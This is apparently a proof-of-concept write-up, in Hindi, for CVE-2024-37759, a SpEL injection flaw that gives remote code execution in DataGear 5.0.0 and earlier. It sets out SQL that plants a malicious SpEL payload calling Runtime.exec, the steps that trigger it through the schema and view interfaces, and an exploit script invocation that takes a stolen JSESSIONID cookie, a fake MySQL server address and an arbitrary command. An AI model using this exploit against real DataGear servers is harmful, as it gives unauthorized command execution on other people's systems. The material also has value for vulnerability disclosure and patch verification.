
CVE-2024-37759 का PoC
DataGear संस्करण 5.0.0 और इससे पहले के संस्करणों में SpEL एक्सप्रेशन इंजेक्शन की कमजोरी है, जो रिमोट कोड निष्पादन का कारण बनती है।
जब आप /data/{schemaId}/{tableName}/view इंटरफ़ेस का अनुरोध करते हैं, यदि डेटाबेस तालिका में प्राथमिक कुंजी नहीं है, तो एक हमलावर data फ़ील्ड में एक दुर्भावनापूर्ण SpEL एक्सप्रेशन इंजेक्ट कर सकता है। जब "view" बटन पर क्लिक किया जाता है, तो SpEL एक्सप्रेशन निष्पादित हो जाएगा।
हमले को निष्पादित करने के लिए, आप इस प्रकार एक दुर्भावनापूर्ण डेटाबेस तालिका बना सकते हैं:
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
फिर, लॉग इन करें और इस MySQL डेटाबेस को स्कीमा जोड़ने वाले इंटरफ़ेस /schema/saveAdd में जोड़ें। उसके बाद "view" बटन पर क्लिक करें, और SpEL एक्सप्रेशन निष्पादित हो जाएगा।
यह शोषण MySQL_Fake_Server से संशोधित किया गया है। पहले, पोर्टल में लॉग इन करें और कुकी "JSESSIONID" प्राप्त करें। फिर आप इस शोषण का उपयोग करके कमांड को स्वचालित रूप से निष्पादित कर सकते हैं।
-t तर्क लक्ष्य संवेदनशील साइट को निर्दिष्ट करता है, -o सार्वजनिक IP पते को निर्दिष्ट करता है जहाँ MySQL फ़ेक सर्वर पहुँच योग्य है, -p फ़ेक सर्वर पोर्ट के लिए है, -s "JSESSIONID" के कुकी मान के लिए है, और -c वह कमांड निर्दिष्ट करता है जिसे आप निष्पादित करना चाहते हैं।
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"